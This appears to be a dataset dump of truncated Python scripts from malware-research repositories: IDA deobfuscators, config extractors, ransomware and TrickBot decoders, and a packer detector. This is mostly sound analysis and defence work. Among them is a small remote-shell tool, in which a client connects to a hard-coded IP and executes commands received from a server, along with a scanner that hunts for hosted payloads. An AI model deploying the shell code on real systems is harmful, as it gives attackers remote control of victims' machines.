text
stringlengths
0
9.3M
# MIT License # # Copyright (c) 2024-2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2022-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2024-2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2024-2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
import sys import io import zlib import rc4 CFG_POS = 0x11000 KEY_LEN = 32 if len(sys.argv) != 2: print('Usage: '+ sys.argv[0] + ' file_name') sys.exit(0) file_name = sys.argv[1] with io.open(file_name, 'rb') as f: f.seek(CFG_POS) key = f.read(KEY_LEN) crc = int.from_bytes(f.read(4), byteo...
import sys import io import zlib import rc4 import idautils import idaapi CFG_SECTION_NAME = '.cfg' KEY_LEN = 32 segm = ida_segment.get_segm_by_name(CFG_SECTION_NAME) if (segm is None): raise Exception('Configuration section not found.') ea = segm.start_ea ida_name.set_name(ea, 'cfg_key') ida_bytes.create_da...
import sys import io import idautils import idaapi IDA_IMPORT_FILENAME = 'ida_import.txt' def read_import_func_list(): func_list = [] with io.open(IDA_IMPORT_FILENAME, 'rt') as f: for line in f: s = line.strip() if (s == ''): continue fnc_entry ...
import idautils import idaapi import rc4 DECRYPT_STR_FUNC_EA = 0x406461 DECRYPT_STR_FUNC_NAME = 'decrypt_str' DECRYPT_STR_FUNC_TYPE = \ 'void * __cdecl decrypt_str(void *enc_data, unsigned int pos, ' \ 'unsigned int key_len, unsigned int data_len, void *dest)' def get_arg_val(arg_ea): inst = DecodeIns...
def rc4_init(key): key_len = len(key) if (key_len <= 0): raise ValueError('Invalid RC4 key length.') S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % key_len]) & 0xFF S[i], S[j] = S[j], S[i] return S def rc4(data, key): S = rc4_init(key) ...
import io from x64dbgpy.pluginsdk import * BREAK_RVA = 0x73C3 IMPORT_LIST_RVA = 0x11298 NUM_IMPORT_FUNCS = 0x2F8 // 4 Run() base_addr = BaseFromAddr(GetEIP()) break_addr = base_addr + BREAK_RVA SetBreakpoint(break_addr) Run() DeleteBreakpoint(break_addr) with io.open('ida_import.txt', 'wb') as f: fnc_name...
# MIT License # # Copyright (c) 2022-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2022-2023 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024-2025 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2022-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2022-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
# MIT License # # Copyright (c) 2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limitatio...
import idautils import idaapi import zep_dec DECRYPT_STR_FUNC_EA = 0x4101F0 DECRYPT_STR_FUNC_NAME = 'decrypt_str' DECRYPT_STR_FUNC_TYPE = \ 'void __usercall decrypt_str(void *enc_data@<eax>, void *dest@<edx>)' def get_arg_data(arg_ea): inst = DecodeInstruction(arg_ea) if (inst.itype != idaapi.NN_mov) ...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
# MIT License # # Copyright (c) 2023-2024 Andrey Zhdanov (rivitna) # https://github.com/rivitna # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, including # without limi...
import socket import sys #creating socket def socket_create(): try: global host,port,s host='' port=9999 s=socket.socket() except socket.error as err: print("[!]Error in creating Socket!!") #Bind socket to port def socket_bind(): try: global host,port,s print("[+]Binding Socket to port") s.bind((h...
import os import socket import subprocess host='192.168.1.34' port=9999 s=socket.socket() s.connect((host,port)) while True: data=s.recv(1024) if data[:2].decode('utf-8')=='cd': os.chdir(data[3:].decode('utf-8')) if len(data)>0: cmd=subprocess.Popen(data.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stder...
#!/usr/bin/python """ Hacking Team 'core-packer' PoC detector Copyright (C) 2015 - Jos Wetzels. See the file 'LICENSE' for copying permission. Proof-of-Concept detector script for PEs packed with Hacking Team's 'core-packer' (https://github.com/hackedteam/core-packer/) See http://samvartaka.github.io/malware/2015/09/...
#!/usr/bin/python """ Hacking Team 'core-packer' PoC detector Copyright (C) 2015 - Jos Wetzels. See the file 'LICENSE' for copying permission. Proof-of-Concept detector script for PEs packed with Hacking Team's 'core-packer' (https://github.com/hackedteam/core-packer/) See http://samvartaka.github.io/malware/2015/09/...
#!/usr/bin/env python # # This script decrypt the 2nd stage of Linux/ChachaDDoS by emulating the # decryption function (ChaCha) in first stage samples. # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # Author: Hugo Porcher <hugo.porcher@eset.com> # # This code ...
#!/usr/bin/env python3 # # This script decrypts PolyglotDuke's C&C URL found in public posts from # twitter, imgur, reddit etc. # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license as # follow...
# This file is a IDA Python script for naming FinFisher VM handlers. For more # details about FinFisher deobfuscation see "ESET's guide to deobfuscating and # devirtualizing FinFisher" at # https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf # # For feedback or questions contact us at: github@ese...
# -*- encoding: utf-8 -*- # # This IDA script decrypts the strings inside *unpacked* samples of # Glupteba.AY samples For details about Glupteba.AY, see: # https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/ # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware...
# -*- encoding: utf-8 -*- # # Copyright 2012 Yaşar Arabacı # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modif...
# -*- encoding: utf-8 -*- # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # Authors: # Anton Cherepanov <cherepanov@eset.sk> # # Copyright (c) 2017, ESET, spol. s r.o. # All rights reserved. # # Redistribution and use in source and binary forms, with or without...
#!/usr/bin/env python # # Code related to ESET's InvisiMole research. # This script can decrypt the RC2CL and RC2FM modules from the InvisiMole DLL wrapper. # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-c...
#!/usr/bin/env python # # Kr00k (CVE-2019-15126) testing script. # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # Authors: # Martin Kaluznik <martin.kaluznik@eset.com> # Milos Cermak <milos.cermak@eset.com> # # This code is provided to the community under the ...
#!/usr/bin/env python # # Code related to ESET's Miniduke research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (c) 2014, ESET # All rights reserved. # # Redi...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) 2015 ESET # All rights reserved. # # R...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/env python # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) ...
#!/usr/bin/env python # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) ...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) 2015 ESET # All rights reserved. # # R...
#!/usr/bin/env python # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) 2015 ESET # All rights reserved. # # Re...
#!/usr/bin/env python3 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Olivier Bilodeau <bilodeau@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C)...
#!/usr/bin/python2 # # Code related to ESET's Linux/Moose research # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # This code is provided to the community under the two-clause BSD license with # additional disclaimer as follows: # # Copyright (C) 2015 ESET, spol...
# This script extracts the backdoor components of latest OceanLotus # campaign using the side-loading technique against legitimate "rastls.exe" # application from Symantec # The extracted elements are "rastls.exe", "rastls.dll" and "OUTLFLTR.dat". # Details about OceanLotus can be found at # https://www.welivesecurit...
# This script extracts the shellcode of the fake and malicious "rastls.dll" # used in OceanLotus latest campaign using the side-loading technique against # legitimate "rastls.exe" application from Symantec # Details about OceanLotus can be found at # https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_Ocea...
# This script extracts the shellcode from the fake document dropper of the # latest OceanLotus campaign using the side-loading technique against # legitimate "rastls.exe" application from Symantec # Details about OceanLotus can be found at # https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf...
# String deobfuscation for Oceanlotus OSX backdoor from __future__ import print_function import idaapi import idc import idautils import ida_kernwin import ida_funcs HELPER_COPY = ["qmemcpy", "memcpy", "strcpy"] FUNC_COPY = ["_memcpy", "_strcpy"] from Crypto.Cipher import AES from base64 import b64decode import str...
# This script emulates the shellcode used in OceanLotus latest campaign # using the side-loading technique against legitimate "rastls.exe" application # from Symantec # Details about OceanLotus can be found at # https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf # # For feedback or questions...
#!/usr/bin/env python # # Code related to ESET's research on the Sednit group. # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Jessy Campos <campos@esetlabs.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyrig...
#!/usr/bin/env python3 # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # Author: Thibaut Passilly <thibaut.passilly@eset.com> # # This code is provided to the community under the two-clause BSD license as # follows: # # Copyright (C) 2021 ESET # All rights rese...
#!/usr/bin/env python # # Code related to ESET's Stantinko research. # This script decrypts AdStantinko communication. It expects base64 encoded data. # The magic header for AdStantinko communication is "KK". # If once decoded the data begins with "KK", it is likely this script will decrypt it. # Communication with "cl...
#!/usr/bin/env python # # Code related to ESET's Stantinko research. # This script can decrypt network communication for all Stantinko's components. # These components are the Plugin Downloader Service Installer, the Plugin Downloader Service (PDS) # and the Browser Extension Downloader Service (BEDS). # It decrypt rep...
#!/usr/bin/env python # -*- encoding: utf-8 -*- # # Code related to ESET's Stantinko research. # This script decrypts the encrypted executables downloaded by FileTour as .avi. # The encrypted file should be written in stdin, the decrypted executable will # be written in stdout. # # For feedback or questions contact us...
#!/usr/bin/env python # # Code related to ESET's Stantinko research. # Library used to decrypt Stantinko network communication. # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # Frederic Vachon <frederic.vachon@eset.com> # # This code is provided to the community...
# -*- encoding: utf-8 -*- # # This IDA script decrypts the strings inside *unpacked* samples of the # Win32/TorrentLocker crypto-ransomware. # For details about TorrentLocker, see: # http://www.welivesecurity.com/2016/09/01/torrentlocker-crypto-ransomware-still-active-using-tactics/ # # For feedback or questions contac...
# -*- encoding: utf-8 -*- # # This script unpacks the payload from Winnti Group samples using their custom # packer. For details, see: # https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf # # For feedback or questions contact us at: github@eset.com # https://github.com/eset/malware-research/ # # ...
# IMPORTANT: This Script is not suitable for production environments ! # IMPORTANT: This Script is just a MOCUKP and it is not performant at all ! # IMPORTANT: I am not accepting criticism on such piece of code since it has been written in Hurry just to make it works # If you want to know more about what this script do...
# IMPORTANT: This Script is not suitable for production environments ! # IMPORTANT: This Script is just a MOCUKP and it is not performant at all ! # IMPORTANT: I am not accepting criticism on such piece of code since it has been written in Hurry just to make it works # If you want to know more about what this script d...
#GandCrab string deobfuscator - a script for IDA import idautils import idc def is_hex_val(op_val): op_len = len(op_val) if op_len < 2: return False if op_val[op_len-1] != 'h': return False op_val = op_val[:op_len - 1] try: int(op_val, 16) except: return False return True def split_and_convert( seq )...
#!/usr/bin/python2.7 "Helper script for cracking NSIS-based crypters" import argparse def decode1(data, key, max_key=0): if max_key == 0 or max_key > len(key): max_key = len(key) l = len(key) j = 0 #key index decoded = bytearray() for i in range(0, len(data)): decoded.append(data[i...
#!/usr/bin/python3 """Payload scraper: a tiny scanner that search for the payloads hosted at the given URL, by generating and checking random names.""" import random import sys import urllib.request, urllib.error, urllib.parse import argparse method = 'GET' content_type = 'text/html' def randomKey(charset, len): ...
#!/usr/bin/python2.7 # CC-BY: hasherezade """Decoder for 7even-HONE$T ransomware - variant A""" import argparse import os PREFIX = 'M' SUFFIX = '*' #for 7ev3n HONE$T: FNAME_KEY_R4A = 'ANOASudgfjfirtj4k504iojm5io5nm59uh5vob5mho5p6gf2u43i5hojg4mf4i05j6g594cn9mjg6h' FNAME_KEY_R5A = 'ASIBVbhciJ5hv6bjyuwetjykok7mbvtbvtiJ...
#!/usr/bin/python2.7 # CC-BY: hasherezade """Decoder for 7even-HONE$T ransomware - variant B""" import argparse import os PREFIX = 'M' SUFFIX = '*' FNAME_KEY_R4A = 'ifgj5906jHg948f8g46hgkf054k6h0igjf45n9g5fj90g64g5' FNAME_KEY_R5A = '777EJfngmfiob5mvX5i4omgfogkthmgA7Jergth3ng5m896h65f34f55gtiyht4jfkdfvb5iy76h544uekdf...
#!/usr/bin/python2.7 # CC-BY: hasherezade """Decoder for 7even-HONE$T ransomware - variant C""" import argparse import os PREFIX = 'M' SUFFIX = '*' #for 7ev3n HONE$T: FNAME_KEY_R4A = 'ANOASudgfjfirtj4k504iojm5io5nm59uh5vob5mho5p6gf2u43i5hojg4mf4i05j6g594cn9mjg6h' FNAME_KEY_R5A = 'ASIBVbhciJ5hv6bjyuwetjykok7mbvtbvtiJ...
#!/usr/bin/python2.7 "Decodes dyreza resources from the DLL" __AUTHOR__ = 'hasherezade' #using elements from: http://lokalhost.pl/x/dyre.py by @maciekkotowicz import argparse import hashlib from Crypto.Cipher import AES BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[:-o...
#!/usr/bin/python2.7 "Decodes dyreza resources from the original Exe" __AUTHOR__ = 'hasherezade' import argparse def decode(data, key_data): decoded = bytearray() i = 0 for i in range(0, len(data)): val_index = data[i] if val_index >= len(key_data): print "Invalid key data!" ...
#!/usr/bin/python2.7 "Decodes Blowfish encrypted request sent by Kronos bot to the CnC" __AUTHOR__ = 'hasherezade' import argparse import hashlib from Crypto.Cipher import Blowfish def expand_key(key, dest_len): while len(key) < dest_len: key = key + key return key[:dest_len] def derive_key(b...
#!/usr/bin/python2.7 "Decodes AES encrypted config of Kronos (from captured response)" __AUTHOR__ = 'hasherezade' import argparse import hashlib from Crypto.Cipher import AES BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[:-ord(s[len(s)-1:])] def expand_key(key, dest_le...
#!/usr/bin/python2.7 import argparse def decode(data, keychar, offset=0): maxlen = len(data) decoded = bytearray() for i in range(offset, maxlen): dec = data[i] ^ keychar decoded.append(dec) return decoded def save_decoded(decdata, outfile): fr = open(outfile, "wb") if fr is N...
"""latent_dec.py: Script for IDA Pro decoding Latent Bot's strings""" __author__ = "hasherezade" import idautils lookup_table = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x00\x00\...
#!/usr/bin/python3 # for IDA >= 7.5 import idautils DECODE_CSTR_FUNC = "dec_cstring" DECODE_WSTR_FUNC = "dec_wstring" modulebase = idaapi.get_imagebase() is64_bit = ida_ida.inf_is_64bit() ### def wstr_to_cstr(wstr): out = bytearray() for c in wstr: if c != 0: out.append(c) return out ...
#!/usr/bin/python3 # for IDA >= 7.5 import idautils DECODE_CSTR_FUNC = "dec_cstring" DECODE_WSTR_FUNC = "dec_wstring" modulebase = idaapi.get_imagebase() ### def RC4_crypt(key, data): S = list(range(256)) j = 0 for i in list(range(256)): j = (j + S[i] + (key[i % len(key)])) % 256 S[i], ...
#!/usr/bin/python3 # for IDA >= 7.5 # for Rhadamanthy v 0.9.x, XS2_B, 64-bit import idautils DECODE_CSTR_FUNC1 = "dec_cstringA" DECODE_CSTR_FUNC2 = "dec_cstringB" DECODE_WSTR_FUNC1 = "dec_wstringA" DECODE_WSTR_FUNC2 = "dec_wstringB" modulebase = idaapi.get_imagebase() ### def wstr_to_cstr(wstr): out = bytearr...
#!/usr/bin/python2.7 "Decodes AES encrypted modules of TrickBot" __AUTHOR__ = 'hasherezade' import argparse import hashlib from Crypto.Cipher import AES BS = 16 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[:-ord(s[len(s)-1:])] def hash_rounds(data_buf): while len(data_buf...
#!/usr/bin/python2.7 "Decodes TrickBot core modules from the dumped loaders' resources" __AUTHOR__ = 'hasherezade' import argparse def decode(data): decoded = bytearray() key = 0x3039 i = 0 for i in range(0, len(data)): dec_val = data[i] ^ (key & 0xFF) key *= 0x0AE529 key += 0x...